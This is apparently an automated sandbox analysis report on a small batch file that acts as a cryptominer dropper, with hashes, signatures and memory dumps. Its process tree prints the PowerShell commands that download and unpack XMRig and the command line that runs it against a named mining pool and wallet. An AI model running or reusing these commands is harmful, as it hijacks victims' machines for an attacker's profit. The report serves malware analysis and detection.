Analysis

  • max time kernel
    1791s
  • max time network
    1794s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    01/01/2024, 01:26

General

  • Target

    tesy - Copy (11).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (11).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4708
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2992
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2968
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1304

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          4cbfcbb2083ba937cbe9e9efa4f78549

          SHA1

          4f82cae4dc33ce4d6fbda37fb04f21de112e4d60

          SHA256

          9f8e33324f7d1f9e8ce7633aa10c1f0e72a05b41de46708fe94e0be5f21566a6

          SHA512

          1765fbf3c41eb756ee629774e5158d7e6de707c0941e194e3e40f19f50fa3b4871e14e1e2d87f97535b264d72e93cdd8c615090042163acd9abd2728f9efe7f2

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0ahtfhnm.at5.ps1

          Filesize

          1B

          MD5

          c4ca4238a0b923820dcc509a6f75849b

          SHA1

          356a192b7913b04c54574d18c28d46e6395428ab

          SHA256

          6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

          SHA512

          4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

          Filesize

          2.0MB

          MD5

          4ee25630e9366aaca7c457466e93f5e8

          SHA1

          8078830690f13561285ad5b19245d7627ac4f5ba

          SHA256

          080137fbc1f57e1fac324692b5679f2b6987de7e3eeaffdcec40eb8cf03d268d

          SHA512

          190762d5a7e84ad30e996f9a7f78b817cc2a7939d66556cc9a287339c3b50e28606077c5779757a115cc8bfc4a75278841467aba938c338dc3a526614d8ddd84

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

          Filesize

          462KB

          MD5

          48faffe3b401f833cb8404377f5e510b

          SHA1

          313acd7b57d57af49913b876a886f44bae38db3b

          SHA256

          8ea60777b31bfa396a92966ec208757778b052b3d9f91eb1e1691b9246f6c369

          SHA512

          6abcffce5636e2bfdf41dd997fa3796cc687111c6e81ffddcac34b013c85149099d569c72a59cd50f721a3aec1bacc21a42a815610e5a4fb5f0205a37250e80e

        • memory/1304-147-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-123-0x000001EC5A860000-0x000001EC5A880000-memory.dmp

          Filesize

          128KB

        • memory/1304-188-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-187-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-186-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-185-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-184-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-183-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-182-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-181-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-180-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-179-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-178-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-177-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-120-0x000001EC5A7D0000-0x000001EC5A7F0000-memory.dmp

          Filesize

          128KB

        • memory/1304-121-0x000001EC5A820000-0x000001EC5A860000-memory.dmp

          Filesize

          256KB

        • memory/1304-122-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-150-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-124-0x000001EC5A880000-0x000001EC5A8A0000-memory.dmp

          Filesize

          128KB

        • memory/1304-125-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-126-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-127-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-128-0x000001EC5A860000-0x000001EC5A880000-memory.dmp

          Filesize

          128KB

        • memory/1304-129-0x000001EC5A880000-0x000001EC5A8A0000-memory.dmp

          Filesize

          128KB

        • memory/1304-130-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-131-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-132-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-133-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-134-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-135-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-136-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-137-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-138-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-139-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-140-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-141-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-142-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-143-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-144-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-145-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-149-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-176-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-175-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-146-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-148-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-151-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-152-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-153-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-154-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-155-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-156-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-157-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-158-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-159-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-160-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-161-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-162-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-163-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-164-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-165-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-166-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-167-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-168-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-169-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-170-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-171-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-172-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-173-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/1304-174-0x00007FF7BB640000-0x00007FF7BC143000-memory.dmp

          Filesize

          11.0MB

        • memory/2968-66-0x00000201F2060000-0x00000201F2070000-memory.dmp

          Filesize

          64KB

        • memory/2968-39-0x00007FFAF0B10000-0x00007FFAF14FC000-memory.dmp

          Filesize

          9.9MB

        • memory/2968-42-0x00000201F2060000-0x00000201F2070000-memory.dmp

          Filesize

          64KB

        • memory/2968-117-0x00007FFAF0B10000-0x00007FFAF14FC000-memory.dmp

          Filesize

          9.9MB

        • memory/2968-93-0x00000201F2390000-0x00000201F239A000-memory.dmp

          Filesize

          40KB

        • memory/2968-41-0x00000201F2060000-0x00000201F2070000-memory.dmp

          Filesize

          64KB

        • memory/2968-80-0x00000201F23A0000-0x00000201F23B2000-memory.dmp

          Filesize

          72KB

        • memory/2992-26-0x00007FFAF0B10000-0x00007FFAF14FC000-memory.dmp

          Filesize

          9.9MB

        • memory/2992-5-0x00007FFAF0B10000-0x00007FFAF14FC000-memory.dmp

          Filesize

          9.9MB

        • memory/2992-4-0x0000019E5BD10000-0x0000019E5BD32000-memory.dmp

          Filesize

          136KB

        • memory/2992-25-0x0000019E5BD90000-0x0000019E5BDA0000-memory.dmp

          Filesize

          64KB

        • memory/2992-10-0x0000019E5C020000-0x0000019E5C096000-memory.dmp

          Filesize

          472KB

        • memory/2992-6-0x0000019E5BD90000-0x0000019E5BDA0000-memory.dmp

          Filesize

          64KB

        • memory/2992-7-0x0000019E5BD90000-0x0000019E5BDA0000-memory.dmp

          Filesize

          64KB

        • memory/2992-27-0x0000019E5BD90000-0x0000019E5BDA0000-memory.dmp

          Filesize

          64KB

        • memory/2992-28-0x0000019E5BD90000-0x0000019E5BDA0000-memory.dmp

          Filesize

          64KB

        • memory/2992-29-0x0000019E5BD90000-0x0000019E5BDA0000-memory.dmp

          Filesize

          64KB

        • memory/2992-34-0x00007FFAF0B10000-0x00007FFAF14FC000-memory.dmp

          Filesize

          9.9MB